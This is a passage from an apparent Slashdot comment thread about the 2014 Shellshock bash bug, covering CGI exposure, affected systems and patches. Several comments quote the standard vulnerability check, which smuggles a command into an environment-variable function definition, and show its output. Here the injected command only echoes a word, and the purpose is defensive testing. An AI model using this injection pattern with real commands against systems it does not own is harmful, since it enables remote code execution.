    Don't have nightmares now!!

  88. Seems fundamentally broken by countach · · Score: 1

    Even if they fix the basic bug, which is that functions are exported as environment variables, but the function can be trailed with extra commands, the whole idea seems extremely dangerous to me. What if you define a function called ls or cp or some other common command? It's pretty likely something will call it, and the whole problem is back in play.

    The bigger problem to me seems to be that cgi scripts export user parameters to environment variables before calling bash. I mean, bash itself as a cgi web handler seems incredibly dangerous already. Too powerful for this application. But to then have unvetted user defined environment variables? This is insane. There's plenty of blame to go around here.

    1. Re:Seems fundamentally broken by jeremyp · · Score: 1

      Exactly. This whole feature is ill conceived madness. For one thing it means that if I want an exported legitimate environment variable that starts with parentheses, I can't then use it in a forked bash session.

      What were they thinking of?

      --
      All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
    2. Re:Seems fundamentally broken by Ankh · · Score: 1

      This is a complete misunderstanding of what is going on.

      "The bigger problem to me seems to be that cgi scripts export user parameters to environment variables before calling bash"
      No, this is not what it is about at all.

      The CGI specification says that the Web server (not CGi scripts) makes HTTP headers and request data available in environment variables.

      Programs called through this interface (often called "index.cgi") are vulnerable *regardless* of what language was used to write them, because a lot of programs end up calling bash indirectly. And no, shell functions themselves are not the problem, so redefining cp or ls isn't going to happen in this way, it just happens to be a part of shell syntax with a bug in the parser in bash that also executes commands when it shouldn't.

      --
      Live barefoot!
      free engravings/woodcuts
  89. Re:would the "is fixed because i use something els by Per+Wigren · · Score: 1

    Not updated in Debian Squeeze yet, though.

    --
    My other account has a 3-digit UID.
  90. In other news... by sootman · · Score: 1

    CMD.EXE -- bulletproof!

    --
    Dear Slashdot: next time you want to mess with the site, add a rich-text editor for comments.
  91. ls -alh /bin/sh: /bin/sh - bash by raymorris · · Score: 1

    /bin/sh is frequently a symlink to /bin/bash

    # ls -alh /bin/sh
    lrwxrwxrwx. 1 root root 4 Sep 24 12:47 /bin/sh -> bash

  92. Re: Full Disclosure can be found on oss-security.. by Anonymous Coward · · Score: 0

    Phones don't run bash so probably none. For better or for worse almost no embedded system uses bash, they have more basic shells or in android's case a custom barefuly functioning shell.

  93. Re:Linux is just a full of holes as Windows by Ankh · · Score: 1

    It also affects bash scripts called from programs run by CGI, so e.g. Perl, python, C, C++ programs using system(). Since environment variables are inherited by all subprocesses, it affects grandchildren, greatgrandchildren, and all the other sub-processes that get created all the way down.

    Some scripting and programming languages use the shell to expand "glob" patterns, e,g,
            $names = glob( "/tmp/[0-9]*" )
    or in other places where it may not be obvious.

    I'm not interested in comparing numbers of holes in different systems as it ony takes one hole for an intruder to get in.

    --
    Live barefoot!
    free engravings/woodcuts
  94. aaa by Anonymous Coward · · Score: 0

    Has anyone traced back for how long this vulnerability existed..?

    1. Re:aaa by ray-auch · · Score: 1

      Bash 1.14.0, see http://web.nvd.nist.gov/view/v...

      So, >20 years

  95. ksh Version 11/16/88g on SCO 5.0.7 also vunerable by cslewis2007 · · Score: 1

    When I execute: env x='() { :;}; echo vulnerable' bash -c "echo this is a test" on ksh under Sco unix 5.0.7 - it outputs vulnerable I'm not sure if ksh on other platforms would also be vulnerable (probably)

  96. Re:ksh Version 11/16/88g on SCO 5.0.7 also vunerab by cslewis2007 · · Score: 1

    I'm sorry, I overstated the issue. The command I typed still only exposes the issue in the bash program, not the ksh program. Setting the x=.... function and then invoking bash is an issue, but if you run: env x='() { :;}; echo vulnerable' ksh -c "echo this is a test" you don't see vulnerable, I'm sorry for the confusion.

  97. Re:Seriously though is cygwin's bash vulnerable? by Anonymous Coward · · Score: 0

    My Cygwin is:

    user@myComputer ~
    $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
    vulnerable
    this is a test

    user@myComputer ~
    $

  98. Re: Full Disclosure can be found on oss-security.. by Anonymous Coward · · Score: 0

    ALL iPhones ship with bash, no? (i noticed Apple pushed out 8.0.2 update for iOS this afternoon...)

  99. CVE-2014-7169 has been fixed by InvisibleSoul · · Score: 1

    At least for RedHat/CentOS, CVE-2014-7169 has been patched now as well. https://rhn.redhat.com/errata/...

  100. Not all OSX versions affected by aNonnyMouseCowered · · Score: 1

    "The (ancient) version of bash that ships with OS X appears vulnerable."

    Some really ancient versions of OSX shipped not bash but tcsh, which was (is?) the NetBSD default shell. So who's going to write the anti-bash rebuttal to the famous "Top Ten Reasons not to use the C shell": http://www.grymoire.com/unix/C...

  101. Re: Full Disclosure can be found on oss-security.. by GameboyRMH · · Score: 1

    Nope can't find any evidence that iPhones ship with a full bash install, but they do have the capability to run some bash commands.

    --
    "When information is power, privacy is freedom" - Jah-Wren Ryel
  102. Re: Full Disclosure can be found on oss-security.. by Optali · · Score: 1

    IIF the CGI script is bash based... and WTF do you mean by "binaries" ?

    --
    -- 29A the number of the Beast